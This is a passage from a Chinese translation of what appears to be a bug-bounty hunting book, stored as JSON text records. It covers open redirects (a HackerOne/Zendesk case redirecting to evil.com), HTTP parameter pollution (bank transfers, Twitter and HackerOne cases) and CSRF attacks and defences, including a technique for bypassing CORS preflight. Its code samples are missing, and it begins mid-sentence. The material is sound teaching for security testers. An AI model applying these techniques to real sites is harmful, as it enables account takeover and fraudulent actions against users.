到docs.hackerone.com）。然而，任何人都可以创建个性化的Zendesk账号，并传递给/redirect_to_account?state=参数。然后个性化的Zendesk账号可能就会重定向到其他的非Zendesk或HackerOne控制的网站。由于Zendesk允许在账号之间重定向而不需要中间网页提醒，因此用户可能被重定向到一个非受信任网站而不会被进行任何提醒。为了应对这个漏洞，HackerOne将包含zendesk_session的链接看作外部链接，并且在用户点击链接时触发中间告警网页进行提醒。 为了验证这个漏洞，黑客Mahmoud Jamal创建了一个具有子域h ttp://compayn.zendesk.com 的Zendesk账号。然后他使用Zendesk主题编辑器（管理者可以通过主题编辑器定制自己的Zendesk网站的外观）在头文件中加上了如下JavaScript代码： 通过使用上面的JavaScript脚本，Jamal引导浏览器去访问 http://evil.com 。<script>标记表示HTML中的可执行代码，document表示Zendesk返回的整个HTML文档，其中包含了网页的所有信息。document后面的句点和名字是它的属性。属性包含了描述对象或用于修改对象所需要的信息和相应的取值，因此你可以通过使用location属性控制浏览器显示的网页，也可以通过href子属性（这是location对象的一个属性）来重定向浏览器到指定的网站。访问如下的链接将会把目标对象重定向到Jamal的Zendesk子域，这将会使得目标对象的浏览器运行Jamal的脚本并重定向到 http://evil.com ： 因为链接包含了域hackerone.com，中间网页不会显示，用户也不会知道他们访问的网页是不安全的。有意思的是，Jamal最初向Zendesk报告缺失中间网页的重定向问题时，并没有得到重视，这也没有被作为一个漏洞进行标记。很自然地，Jamal继续挖掘，想看一看这一漏洞还可能被怎样利用。最后，他发现了JavaScript重定向攻击的方式，最终获得了HackerOne的认可并得到了一笔奖金。 要点 当你挖掘漏洞时，要关注网站使用的服务。因为每一个服务都代表新的攻击向量。HackerOne漏洞的形成，就是因为HackerOne使用了Zendesk，并且HackerOne的所有重定向又都是被允许的。 另外，虽然你发现了漏洞，但是阅读或响应你的报告的人可能还不能很快清楚地理解该漏洞造成的安全影响。为此，我将在第19章探讨漏洞报告的相关内容，详细描述在报告中应该囊括哪些内容，应该怎样展示漏洞与企业的联系，以及其他信息。如果你能够提前做些工作，并如实、详尽地解释报告的安全影响，这将有助于制定出一个更为平滑的安全解决方案。 同样地，也存在企业并不认同你的情况。如果是这样，就像Jamal一样继续进行挖掘，并看是否能够利用这个漏洞或者结合其他漏洞描述该漏洞造成的安全影响。 未知 2.5 总结 开放式重定向漏洞允许恶意攻击者将用户在不知不觉中重定向到一个恶意的网站。找出这些漏洞，正如你在上面漏洞报告示例中所学到的一样，通常需要敏锐的观察力。当具有如例子中提到的形如redirect_to=、domain_name=或者checkout_url=的名字时，重定向参数是容易发现的。另外，重定向参数也可能具有不是那么明显的名字，例如r=、u=等。 开放式重定向漏洞依赖于信任滥用，即目标对象往往被欺骗，去访问攻击者的网站，而他们还认为自己正在访问的是所认识的网站。当你识别出可能存在漏洞的参数时，一定要全面测试一下，并在URL的某部分是硬编码的情况下增加一些特殊字符，例如句点，构造新的URL来进行测试验证。 HackerOne中间网页重定向漏洞显示了在进行漏洞挖掘时识别网站使用的工具和服务的重要性。要注意你有时需要坚持不懈，并清晰地描述你发现的漏洞，以说服企业接受你的观点并支付奖金。"},
    {"text": "未知 第3章 HTTP参数污染 HTTP参数污染（HPP）指操纵网站处理它接收到的HTTP请求参数的过程。漏洞发生的原因是：攻击者在请求中注入了额外的参数，同时目标网站信任了这些参数并且导致了非预期的结果。HPP漏洞可以在服务器端或客户端触发。在客户端通常指的是用你的浏览器可以看到测试效果。大多数情况下，HPP漏洞是否存在，取决于服务器端代码是如何处理攻击者通过控制的参数传递给服务器端的变量的。因此，寻找此类型的漏洞可能要比寻找其他类型的漏洞需要更多的试验测试。 本章将从探索服务器端HPP和客户端HPP的区别开始。在那之后我将使用三个流行社交媒体的例子来说明如何使用HPP对目标网站进行参数注入。与此同时，你会学习到服务器端和客户端HPP的区别，如何测试此类型漏洞，以及开发者在处理这类问题时经常犯错误的地方。如你所见，找到HPP漏洞需要进行试验并坚持下去，但这种努力是值得的。"},
    {"text": "未知 3.1 服务器端HPP 在服务器端HPP中，尝试给服务器端发送非预期信息来让服务器端代码返回非预期的结果。在第1章中讨论过，当你发送一个请求到一个网站时，网站服务器端会处理该请求并且返回结果。在某些情况下，服务器端不仅返回一个网页，同时还会根据从URL获取到的信息运行一些代码。这部分代码只会在服务器端运行，所以对你来说基本上是不可见的，也就是说，你可以看到发送的信息和返回的结果，但是这中间运行的代码你是看不到的。因此，你只能推断这期间发生的事情。因为你看不到服务器端的代码结构，所以服务器端HPP取决于你如何确定存在潜在漏洞点的参数并进行试验。 让我们看一个例子：如果银行通过网站接收URL参数发起转账，可能会造成服务器端HPP漏洞。想象一下如果你可以通过输入三个URL参数from、to、amount来进行转账，每个参数按顺序指定：from指定要从中进行转账的账号，to指定要转入的账号，amount指定要转账的金额。以下URL表示从12345账户转账5000美元到67890账户： 银行可能会假设它只可能接收一个from参数，但是如果你提交两个参数会发生什么？就像下面这个URL一样： 这个URL最初的结构组成和第一个示例一样，只是多加了一个额外的from参数以表示另一个发送账户ABCDEF。在这种情况下，攻击者可以发送这个额外的参数，希望可以令程序用第一个from参数做转账验证，使用第二个from参数从账户ABCDEF提取资金。所以，如果银行信任它接收到的最后一个from参数，攻击者就可以利用一个不是他们自己的账户来执行转账操作——不再从12345的账户向67890的账户转账5000美元，取而代之的是，服务器端代码会使用第二个参数从ABCDEF账户转账给67890账户。 当服务器接收到多个具有相同名称的参数时，它可以通过多种方式进行响应。例如，PHP和Apache取参数的最后一次赋值，Apache Tomcat取参数的第一次赋值，ASP和IIS取该参数的所有赋值，等等。研究人员Luca Carettoni和Stefano di Paolo在App Sec EU 09大会上详细介绍了服务器端技术之间的许多差异，该内容现在可在OWASP网站上找到，网址为 https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf （请参阅该网站中的幻灯片9）。因此，没有哪一个单独的验证程序可以保证能同时处理好多个相同名称的参数提交操作，发现HPP漏洞时，你需要做一些试验来确认你所测试的网站是如何运作的。 银行的例子使用了显而易见的参数。但是有时HPP漏洞是由服务器端产生的，这些代码是无法直接观察到的。例如，假设你的银行决定修改其处理转账的方式，并更改其后端代码，从而在URL中不包含from参数。这次，银行将使用两个参数，一个参数代表转账的目的账户，另一个参数代表转账金额。转账源账户将由服务器端设置，你看不到该账户。一个示例链接可能如下所示： 通常，我们很难看懂服务器端代码，但是对于本例而言，我们知道银行服务器端的Ruby代码如下所示（明显存在冗余）： 该代码创建了两个函数：prepare_transfer和transfer_money。prepare_transfer函数采用一个名为params❶的数组，该数组包含URL中的to和amount参数。该数组赋值为[67890,5000]，其中数组值夹在方括号之间，并且每个值都用逗号分隔。函数的第一行❷将代码前面定义的用户账户信息添加到数组的末尾。我们最后在params中得到[67890,5000,12345]数组，然后将params传递给transfer_money函数❸。请注意，与参数不同，数组不是键值对组合，因此代码始终按顺序包含数组的每一个值：第一个值是转账目的账户，第二个值是转账金额，最后一个值是转账源账户。在transfer_money函数中，由于函数将每个数组值赋值给变量，因此值的顺序变得很明显。由于数组位置从0开始编号，因此params[0]访问数组中第一个位置的值（在这种情况下为67890），并将其分配给❹处变量。其他值也依次分配给❺和❻处变量。然后，将变量名传递到此代码段中未显示的transfer函数，该函数接受值并进行转账。 理想情况下，URL参数将始终按照代码期望的方式进行格式化。但是，攻击者可以通过将from的值传递给params来更改此逻辑的结果，例如以下URL： 在这种情况下，from参数也包含在传递给prepare_transfer函数的params数组中。因此，数组的值将为[67890,5000,ABCDEF]，在❷处代码将用户账户赋值之后，数组变为[67890,5000,ABCDEF,12345]。结果是，在prepare_transfer中调用transfer_money函数时，from变量将从params数组的第三个参数赋值，虽然期望获取的user.account值为12345，但实际上将获取到攻击者传递的值ABCDEF❹。"},
    {"text": "未知 3.2 客户端HPP 客户端HPP漏洞使攻击者可以向URL中注入额外的参数，从而对客户端产生影响（客户端最常见的操作方式是个人电脑，通常是通过浏览器触发，并不是发生在网站的服务器端）。 Luca Carettoni和Stefano di Paola在他们的演讲中引用了一个这种类型的例子（参见http://host/page.php?par=123%26action=edit），以下为服务器端代码： 此代码基于par的值（用户输入的参数）生成一个新的URL。在此示例中，攻击者将123%26action=edit作为par的值传递，以生成其他额外的意外参数。&的URL编码值为%26，这意味着当解析URL时，%26被解释为&。该值将一个附加参数添加到生成的href中，而无须在URL中明确显示action参数。如果参数使用123&action=edit而不是%26，则&将被解释为分隔两个不同的参数。但是由于该站点仅在其代码中使用参数par，故action参数被丢弃。使用%26通过确保action最初不会被识别为一个单独的参数来解决这个问题，因此par被赋值为123%26action=edit。 接下来，将par（&编码为%26）传递给htmlspecialchars函数❶。该函数将特殊字符（例如%26）转换为它们的HTML编码值，从而将%26转换为&amp；（在HTML中代表&的HTML值），在这里该字符具有特殊含义。转换后的值将存储在$val中，在那之后，通过将$val赋值给❷处的href属性生成新链接。因此生成的链接变成了<a href=\"/page.php?action=view&par=123&amp;action=edit\">。这意味着攻击者已设法将额外的action=edit添加到href的URL，这可能造成了漏洞，具体危害性取决于应用程序如何处理非预期的action参数。 以下三个示例详细介绍了在HackerOne和Twitter上发现的客户端和服务器端的HPP漏洞。这些示例都涉及URL参数篡改。但是你应该注意，所有例子使用的方法或产生的原因都不相同，这进一步说明在寻找HPP漏洞时进行全面测试是十分重要的。 未知 3.3 HackerOne分享按钮 难度： 低 URL： https://hackerone.com/blog/introducing-signal-and-impact/ 报告位置： https://hackerone.com/reports/105953/ 报告日期： 2015年12月18日 支付奖金： 500美元 查找HPP漏洞的一种方法是寻找有可能与其他服务相关联的链接。HackerOne博客文章通过社交媒体网站（例如Twitter、Facebook等）的共享链接来实现这个操作。单击时，这些HackerOne链接自动生成内容供用户在社交媒体上发布。发布的内容里包括一个可以关联到原始博客文章的URL。 一位黑客发现了一个漏洞：该漏洞使你可以在HackerOne博客文章的URL上添加参数。添加的URL参数将反映在共享的社交媒体链接中，使得生成的社交媒体内容将链接引到HackerOne原始博客URL之外的其他位置。 漏洞报告中使用的示例包括访问URL https://hackerone.com/blog/introducing-signal ，然后在其末尾添加&u=https://vk.com/durov。在博客页面上，当HackerOne产生了要在Facebook上共享的链接时，该链接将变为以下形式： 如果HackerOne访问者在尝试共享内容时单击了此恶意更新的链接，则最后一个u参数将优先于第一个u参数。随后，Facebook帖子将使用第二个u参数。之后，Facebook用户在单击链接的时候将被定向到 https://vk.com/durov ，而不是HackerOne。 此外，在发布到Twitter时，HackerOne会包含用于推广该帖子的默认推文。攻击者还可以通过在URL中加入&text=来操纵此文本，如下所示： 当用户单击此链接时，会看到一条包含文本“another_site： https://vk.com/durov ”的推文弹出窗口，而不是宣传HackerOne博客的文本。 要点 当网站接受内容，并且似乎正在与另一个Web服务（例如社交媒体网站）交互并依靠当前URL生成要发布的内容时，请留意可能会有漏洞发生。 在这种情况下，提交的内容很可能未经严格的安全检查就进行了传播，这可能导致参数污染漏洞。"},
    {"text": "未知 3.4 Twitter取消订阅通知 难度： 低 URL： https://www.twitter.com/ 报告位置： https://blog.mert.ninja/twitter-hpp-vulnerability/ 报告日期： 2015年8月23日 支付奖金： 700美元 在某些情况下，发现HPP漏洞需要耐心。2015年8月，Mert Tasci在取消订阅接收Twitter通知时注意到了一个有趣的URL（在这里我已将其缩短）： 注意参数UID。该UID恰好是当前登录的Twitter账户的用户ID。在注意到这一点之后，Tasci做了大多数黑客会做的事情——他试图将UID更改为另一个用户的UID，但是这个操作没有任何反馈。Twitter只是返回了一个错误。 在别人可能选择放弃时，Tasci决定继续执行，他尝试添加第二个UID参数，URL看起来如下所示（同样是缩短的版本）： 他成功了！他设法取消了其他用户的电子邮件通知订阅。Twitter容易受到HPP退订用户攻击。正如FileDescriptor向我解释的那样，此漏洞值得注意的原因与SIG参数有关。事实证明，Twitter使用UID值生成SIG值。当用户单击取消订阅的URL时，Twitter将通过检查SIG和UID值来验证URL是否未被篡改。因此，在Tasci的初始测试中，通过更改UID的值使另一个用户取消订阅失败了，这是因为签名与Twitter预期的不一致。但是，通过添加第二个UID，Tasci成功地让Twitter使用第一个UID参数验证签名，使用第二个UID参数执行退订操作。 要点 Tasci证明了坚持和知识的重要性。如果他在将UID更改为另一个用户并失败后放弃了该漏洞，或者他不知道HPP型漏洞，那么他就不会获得700美元的奖金。 另外，还要注意HTTP请求中包含的具有自动递增的整数（例如UID）的参数：许多漏洞涉及操纵此类参数值，以使Web应用程序出现非预期的错误。我将在第16章中对此进行详细讨论。 未知 3.5 Twitter弹出窗口 难度： 低 URL： https://twitter.com/ 报告位置： https://ericrafaloff.com/parameter-tampering-attack-on-twitter-web-intents/ 报告日期： 2015年11月 支付奖金： 未公布 在某些情况下，HPP漏洞可能隐含了其他问题，并且可能引导人们发现其他错误。这就是Twitter Web Intents功能中发生的事情。该功能提供弹出窗口，用于在非Twitter网站的环境中处理Twitter用户的推文、回复、转发、点赞和关注。Twitter Web Intents使得用户可以与Twitter内容进行交互，而无须离开页面，或为了交互而授权新应用。图3-1显示了这些弹出窗口之一的示例。 图3-1 Twitter Web Intents功能的早期版本，该功能使用户无须离开页面即可与Twitter内容进行交互。在此示例中，用户可以为Jack的推文点赞 通过测试此功能，黑客Eric Rafaloff发现四种功能类型（关注、点赞、转发和发推）都容易受到HPP的攻击。Twitter将通过如下带有URL参数的GET请求实现每个功能： 该URL将包括intentType以及一个或多个参数名称/值对，例如Twitter用户名和Tweet ID。Twitter将使用这些参数创建弹出窗口让用户关注或点赞。Rafaloff在为某个弹窗创建带有两个screen_name参数的URL时发现了一个问题，之前的做法都是用一个screen_name参数。该弹窗如下所示： Twitter在生成“关注”按钮时将优先使用第二个screen_name值ericrtest3而不是第一个twitter值。因此，试图关注Twitter官方账户的用户可能会被诱骗来关注Rafaloff的测试账户。访问Rafaloff创建的URL将导致Twitter的后端代码使用两个screen_name参数生成以下HTML表单： Twitter将使用来自第一个screen_name参数的值，该参数与官方Twitter账户相关联。结果，目标用户将看到他们想要关注的用户的正确个人资料，因为URL的第一个screen_name参数用于在❷和❸处填充代码。但是，单击按钮后，目标用户将会关注ericrtest3，因为form标记中的操作将改为使用传递给原始URL的第二个screen_name参数的值❶。 同样，在呈现点赞的意图时，Rafaloff发现尽管与喜欢该推文没有任何关系，依然可以追加screen_name参数。例如，他可以创建以下URL： 普通的点赞意图仅需要tweet_id参数，但是，Rafaloff将screen_name参数加到了URL的末尾。点赞此推文会向目标用户展示正确的关注者信息，以使其喜欢该推文。但是点赞旁边的“关注”按钮将链接到无关用户ericrtest3。 要点 Twitter Web Intents漏洞与以前的UID Twitter漏洞类似。毫无疑问，当站点容易受到HPP之类的漏洞的影响时，这可能表明存在更广泛的系统问题。有时，当发现平台具有此类漏洞时，值得花时间全面研究该平台，以检测是否有其他相似漏洞可以利用。 未知 3.6 总结 HPP带来的风险取决于站点后端执行的操作以及调用污染参数的位置。 相比其他一些漏洞，发现HPP漏洞后，更需要进行彻底的测试，因为我们通常无法接触到运行代码处理HTTP请求的后台服务器端。这意味着我们只能推断站点如何处理传递给它们的参数。 通过反复试验，你可能会发现HPP漏洞容易产生的场景。通常，社交媒体链接是测试此类漏洞的首选。但是，在测试参数替换（例如类似ID的值）时，请不断挖掘并研究HPP漏洞。"},
    {"text": "未知 第4章 跨站请求伪造 当攻击者可以使目标对象浏览器发送HTTP请求到别的Web网站时，就会发生跨站请求伪造（CSRF）攻击。该Web网站会执行一些操作，使得请求看起来是有效的，并且发自目标对象。这种攻击一般依赖于目标对象之前已经通过了具有漏洞的网站的身份认证，并且攻击者向该网站发起的提交动作和网站的响应不被目标对象感知。当CSRF攻击成功时，攻击者就可以修改服务器端信息并很有可能完全接管用户的账号。这里有一个例子，我们来一步一步看一下： 1）Bob登录他的网银并查看余额。 2）Bob查看完余额后，登录不同域下的邮箱账号并查收邮件。 3）Bob看到了一封具有连接到不熟悉网站的链接的邮件，并打开了这个链接以查看相关内容。 4）当链接的网站内容加载时，该网站要求Bob的浏览器向Bob的网银发起一个HTTP请求，请求从Bob的账号转账资金到攻击者的账号。 5）Bob的网银接收到了不熟悉的（也是恶意的）网站发起的HTTP转账请求，但是由于网银没有任何CSRF防护机制，就处理了这次转账申请。"},
    {"text": "未知 4.1 身份认证 CRSF攻击，就像我刚才说的这个例子一样，利用了网站用于对请求进行身份认证的进程的缺陷。当你访问一个需要登录（通常是以用户名口令方式登录）的网站时，该网站一般要对你进行身份认证。然后该网站会在浏览器中存储你的身份认证信息，以便于你在访问该网站的新网页时不用每次都再去登录。有两种存储身份认证信息的方式：使用基础身份认证协议或cookie。 当HTTP请求中包含形如Authorization: Basic QWxhZGRpbjpPcGVuU2VzYW1l的信息头时，该网站采用了基础身份认证协议。上面看起来随机的字符串是以冒号进行分隔的用户名和口令的base64编码。在本例中，QWxhZGRpbjpPcGVuU2VzYW1l将被解码为Aladdin:OpenSesame。本章中我们不会聚焦于基础身份认证，但是你在本章中学到的很多技术都可以用于挖掘采用基础身份认证而导致的CSRF漏洞利用上。 cookie是由网站创建并存储在用户端浏览器中的小文件。网站使用cookie有很多目的，例如存储用户的爱好或者用户访问网站的历史记录等。cookie具有特定的被标准化为信息片的属性。这些属性告知浏览器cookie是做什么的，以及该如何处理它们。有些cookie属性可能会包含domain、expires、max-age、secure和httponly等，在本章后面你将会学到这些。除了属性之外，cookie也可能会包含一个名/值对，由一个标识符及其相关联的要发往网站（cookie的domain属性定义了信息要发往的网站）的数值构成。 浏览器定义网站能够设置的cookie的数量。但是一般来说，单个网站能够在通用浏览器中设置50～150个cookie，据报道，在有些浏览器中可以设置多达600个以上的cookie。浏览器通常允许网站使用每个cookie最大4KB的存储空间。cookie的名和值没有标准，也就是说，网站可以自由地选择自己的名/值对及其目的地址。例如，网站可以选择命名为sessionId的名字，以便于记住用户是谁，而不用在用户访问每个网页或进行每次操作时都要求他们重新输入用户名和口令。（正如在第1章所描述的那样，HTTP请求是无状态的。无状态意味着网站并不知道每次HTTP请求对应的用户是谁，因此，它必须对每次请求都重新进行用户认证。） 作为一个例子，cookie中的名/值对可能是sessionId=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08，并且cookie具有一个.site.com域。因此，sessionId cookie将被发送到用户访问的每个.<site>.com网站，例如，foo.<site>.com、bar.<site>.com、www.<site>.com等。 secure和httponly属性告诉浏览器什么时候和怎样发送和读取cookie。这些属性不包含取值，而是表示了在cookie中是否出现的标志。当cookie中包含secure属性时，浏览器将只在访问HTTPS网站时发送cookie。例如，如果你带着一个secure cookie访问http://www.<site>.com/（一个HTTP网站），你的浏览器将不会发送cookie到这个网站。原因就是为了保护你的个人隐私，因为HTTPS连接是加密的，而HTTP连接是不加密的。httponly属性，当你在第7章学习跨站脚本攻击时会觉得它非常重要，它会告诉浏览器只能通过HTTP或者HTTPS请求来读取cookie。因此，浏览器不允许任何脚本语言，例如JavaScript，来读取cookie的值。当cookie中没有设置secure和httponly属性时，这些cookie将被正常发送并且可能会被恶意读取。没有设置secure属性的cookie可能被发送到一个非HTTPS网站；同样地，没有设置httponly属性的cookie可能被JavaScript脚本读取。 expires和max-age属性表示cookie什么时候过期并被浏览器删除。expires属性简单地告诉浏览器在一个确定的时间删除cookie。例如，cookie可以设置该属性为expires=Wed,18 Dec 2019 12:00:00 UTC（世界时间：2019年12月18日，星期三）。对应地，max-age属性是直到cookie超时的秒数，并以一个整数（max-age=300）的形式体现。 总之，如果Bob访问的网银使用了cookie，那么网银将会存储他的身份认证信息以支持后续的处理过程。一旦Bob访问了网银并进行了登录，银行将会以一个HTTP响应回应他的HTTP请求，在该响应消息中包含了标识Bob身份的cookie。反过来，Bob的浏览器将会在向该银行网站发起其他HTTP请求时自动地发送cookie信息。 当查询完他的账号余额后，Bob离开银行网站时并没有退出登录。注意这个细节，因为当你退出登录一个网站时，网站一般会向浏览器发出一个HTTP响应消息，要求其删除cookie。因此，当你再访问这个网站时，你将要重新进行登录。 当Bob收取邮件并点击了指向未知网站的链接后，他无意中访问了一个恶意的网站。这个恶意网站被设计为通过引导Bob的浏览器发起一个到他的银行网站的请求而执行一个CSRF攻击。该请求将同时发送Bob浏览器中的cookie信息。"},
    {"text": "未知 4.2 通过GET请求发起CSRF攻击 恶意网站利用Bob网银的方式取决于银行是通过GET请求还是通过POST请求接受转账申请的。如果Bob的网银接受通过GET请求进行转账，恶意网站就会发送具有隐藏表单或者<img>标签的HTTP请求。GET和POST方法都依赖于能够让浏览器发送需要的HTTP请求的HTML语法，并且两种方法都可以采用隐藏表单技术，但是只有GET方法可以使用<img>标签技术。在本节中，我们将研究一下当使用GET请求时如何使用HTML<img>标签技术来实现攻击，在4.3节中，我们再来研究隐藏表单技术。 攻击者需要在发送给鲍勃网银的HTTP转账请求中包含Bob的cookie信息。但是因为攻击者没有办法读取到Bob的cookie，所以他不能只是简单地生成一个HTTP请求并发送给Bob的网银。相反，攻击者可以使用HTML的<img>标签来精心生成一个包含Bob cookie的GET请求。<img>标签对网页上的图像进行渲染，并且包含一个用来告诉浏览器去哪里定位图像文件的src属性。当浏览器渲染<img>标签时，它会向标签的src属性发起一个包含任何已有的cookie的HTTP GET请求。因此，假定恶意网站使用类似如下从Bob的账号转账500美元到Joe的账号的URL： 那么恶意<img>标签将使用这个URL作为它的资源值，如下所示： 结果是，当Bob访问攻击者控制的网站时，网站会在其HTTP响应中包含上面的<img>标签，从而浏览器会进一步发起向银行的HTTP GET请求。浏览器发送Bob的身份认证信息以获取其认为的对应图片的相关资源信息。但是实际上，银行接收到了这个请求，处理了URL中的<img>标签的src属性，生成了转账申请。 为了避免该漏洞，开发者应该永不使用HTTP GET请求去执行任何后续的数据修改申请，例如转账资金。但是，任何具有只读属性的请求都应该是安全的。许多用于创建网站的通用网站框架，例如Ruby On Rails、Django等，都假定开发者遵循这一准则，因此它们都自动地在POST请求而不是GET请求中增加CSRF防护手段。"},
    {"text": "未知 4.3 通过POST请求发起CSRF攻击 如果银行针对POST请求执行转账操作，你将需要使用一种不同的方法来生成CSRF攻击。攻击者不能使用<img>标签，因为<img>标签不能触发POST请求。相应地，攻击者的策略将取决于POST请求的内容。 最简单的情形是POST请求采用具有application/x-www-form-urlencoded或text/plain取值的内容类型（content-type）。内容类型是浏览器在发送HTTP请求时包含的头部信息。该头部信息告知接收者HTTP请求体是如何编码的。下面是一个具有text/plain内容类型的HTTP请求的例子： 内容类型❶被标记出来，并且它的类型与请求中的其他字符编码一起列出。内容类型非常重要，因为浏览器依据不同的类型采用不同的处理方式（后面马上就会介绍到）。 在这种情况下，恶意网站生成一个隐藏的HTML表单并悄悄地发向有漏洞的网站，同时不被目标对象感知到，这是有可能的。表单可以提交一个POST或者GET请求到一个URL，甚至可以提交一些参数值。下面是一段恶意代码示例，网站上的链接会引导Bob访问这段代码： 这里，我们用一个表单发起一个到Bob网银的HTTP POST请求❷（由<form>标记中的action属性指定）。因为攻击者不想让Bob看到这个表单，所以每个<input>元素❸的type都设置为hidden，这将使得鲍勃在页面上看不到这些元素。作为最后一步，攻击者在<script>标签中编写了一些JavaScript脚本，从而使得当页面被加载时能够自动提交表单❹。JavaScript脚本通过调用HTML文档的getElementByID()方法并以我们在第二行❷设置的表单（\"csrf-form\"）的ID作为参数来实现这一功能。就像我们之前讨论的GET请求一样，一旦表单提交，浏览器就会发起一个HTTP POST请求并发送Bob的cookie到银行网站，而这将导致银行转账的发生。因为POST请求会触发网站返回一个HTTP响应消息给浏览器，所以攻击者通过在iFrame中使用display:none属性来隐藏响应消息❶。最后，Bob没有看到响应消息，也不知道发生了什么。 在某些情况下，网站可能要求POST请求以内容类型application/json进行提交。有时，application/json类型的请求会有一个CSRF令牌（CSRF token）。该令牌是一个随着HTTP请求一起提交，合法网站用它来验证请求发起于最初始发起方而不是其他恶意网站。有时POST请求的HTTP体中包含令牌，有时POST请求头中包含类似X-CSRF-TOKEN这样的自定义头信息。当浏览器发送一个application/json POST请求给网站时，它一般要先发送一个OPTIONS HTTP请求。网站针对OPTIONS请求会返回一个响应消息，以说明它支持哪些类型的HTTP请求以及接受哪些信任源。这通常叫作预检OPTIONS调用。浏览器读取响应消息并生成相应的HTTP请求，在我们的网银例子中就是用来转账的POST请求。 如果正确实现，预检OPTIONS调用能够抵御某些CSRF漏洞：恶意网站没有被服务器列入可信网站列表，并且浏览器仅允许特定的网站（被称为白名单网站列表）读取HTTP OPTIONS响应消息。因此，由于恶意网站不能读取OPTIONS响应消息，浏览器也就不会发送恶意POST请求。 定义网站之间什么时候和如何互相读取响应消息的规则集合叫作跨源资源共享（CORS）。CORS限制了为该域提供文件服务以及被测试网站允许的域之外的外部域的资源访问，也包括对JSON响应资源的访问。换句话说，当开发者使用CORS保护网站时，只有当被测试的网站允许时，你才能提交application/json请求以调用被测试的应用、读取相应信息或者发起其他调用。有些情况下，你可以通过修改content-type头信息为application/x-www-form-urlencoded、multipart/form-data或text/plain来绕开这些保护措施。当发起POST请求时，针对该三种类型的content-type，浏览器并不会发起预检OPTIONS调用，因此，CSRF请求攻击可能会发生效用。如果没有发生作用，看一下服务器的HTTP响应头Access-Control-Allow-Origin，确认一下服务器端——它大概率设置了并不信任任意源。当请求从任意源发起，而响应消息头都跟着变化时，网站可能存在更大的问题，因为它允许任何源读取服务器的响应消息。这样将允许黑客在发起CSRF漏洞攻击之外，还有可能读取服务器HTTP响应消息中的任何敏感数据。"},
    {"text": "未知 4.4 抵御CSRF攻击 你可以通过多种方式修补CSRF漏洞。一种最为流行的抵御CSRF攻击的方式就是采用CSRF令牌。当受保护的站点接收到浏览器提交的有可能修改数据（例如POST请求）的请求时，需要验证CSRF令牌。在这种情况下，Web应用（就如Bob的网银）将会产生一个由两部分组成的令牌：一部分由Bob接收，而另一部分由应用保留。当Bob试着发起转账请求时，他将会提交他的那部分令牌，网银将把该部分令牌与它保存的那部分令牌合在一起进行令牌有效性验证。这种基于令牌的设计使得令牌很难被猜测，并且只有被分配了令牌的特定用户（例如，Bob）才有权限访问。另外，这些令牌不总是显式命名的，但有一些潜在的命名例子，例如X-CSRF-TOKEN、lia-token、rt、form-id等。令牌可以存放在HTTP请求头、HTTP POST体或者隐藏域中，如下例所示： 在本例中，网站可以通过cookie、嵌入网站中的一段脚本或者网站中传输的部分内容来获取CSRF令牌。不管网站如何获取令牌，仅有授权的目标浏览器能够知道和读取令牌的内容。因为攻击者不能提交令牌，所以他们不能成功地提交POST请求，也就不能执行CSRF攻击。然而，在寻找可以利用漏洞的过程中，并不会因为网站使用了CSRF令牌，就使整个过程进入一个死胡同。黑客可能会尝试删除令牌、修改令牌的值等以确保服务器认为令牌已经被正确实现。 另外一种抵御CSRF攻击的方式是采用CORS，然而，这并不是万无一失的，因为它依赖于浏览器的安全性，并确保已经进行了正确的CORS配置来限定第三方站点何时可以访问响应信息。攻击者有时可以通过修改内容类型application/json为application/x-www-form-urlencoded，或者因为服务器端存在误配置而使用GET请求而不是POST请求来绕过CORS。这种绕过行为能够发生，是因为当内容类型是application/json时，浏览器会自动发送一个OPTIONS HTTP请求，而如果请求是GET请求或者内容类型是application/x-www-form-urlencoded时，浏览器不会自动发起OPTIONS HTTP请求。 最后，还有两种很少用到的CSRF防御策略。第一种，网站会检查提交的HTTP请求中Origin或者Referer头中是否包含期望的特定值。例如，在有些情况下，Twitter会检查Origin头信息，如果该头信息不存在，就会检查Referer头信息。这能够产生防御效果主要是因为浏览器控制这些头部信息，但攻击者不能远程设置或修改这些信息（显然，我们不考虑黑客利用浏览器或者浏览器插件中的漏洞，从而修改以上两个头部信息的情况）。第二种，浏览器现在正开始实现对一种新的cookie属性samesite的支持。这一属性可以被设置为strict或lax。当设置为strict时，对于不是源自被保护网站的任何HTTP请求，浏览器都不会发送cookie，这包括最简单的HTTP GET请求的情况。例如，如果你登录了亚马逊（Amazon）网站，并且该网站使用了strict samesite cookie，那么当你通过来自另一个网站的链接访问亚马逊网站时，浏览器并不会提交你的cookie。而且，亚马逊也不会认为你已经登录了，除非你再访问另一个亚马逊的Web网页时，cookie才再次被提交。相反，设置samesite属性为lax表示要求浏览器发送cookie时要带上初始的GET请求信息。这种设计原则基于GET请求永远不会修改服务器端的数据。在这种情形下，如果你已经登录了亚马逊，并使用了lax samesite cookie，当你从别的网站重定向到亚马逊网站时，浏览器将会提交你的cookie，并且亚马逊也会认为你已经登录过了。 未知 4.5 Shopify Twitter断连接攻击 难度： 低 URL： https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect/ 报告位置： https://www.hackerone.com/reports/111216/ 报告日期： 2016年1月17日 支付奖金： 500美元 当我们寻找潜在的CSRF漏洞时，一定要注意到能够修改服务器端数据的GET请求。例如，黑客发现了Shopify特性中的一个漏洞，该特性集成了Twitter到网站上，以便于能够让店主更方便地推销他们的产品。该特性同时也允许用户断开已经连接到网店的Twitter账号。断开Twitter账号的URL如下： 事实证明，当访问该URL时，将会发起一个GET请求以断开账号连接，具体如下： 另外，当该连接最开始实现时，Shopify并没有验证发送给它的GET请求的合法性，从而导致该URL存在CSRF漏洞。 提交该报告的黑客WeSecureAPP提供了如下所示的漏洞验证程序（POC）HTML文档： 当被打开时，该HTML文档将导致浏览器通过读取<img>标签中的src属性❶向https://twitter-commerce.shopifyapps.com发起一个HTTP GET请求。如果有人已经通过他的Twitter账号连接到Shopify并且访问了具有该<img>标签的网页，那么他们的Twitter账号将会从Shopify断开。 要点 重点关注会在服务器端执行操作的HTTP请求，例如通过GET请求断开Twitter账号。正如之前提到的，应该确保GET请求永远不能修改服务器端数据。在本例中，你可以通过使用代理服务器，例如，Burp、OWASP的ZAP以监测发送到Shopify的HTTP请求来发现这些漏洞。"},
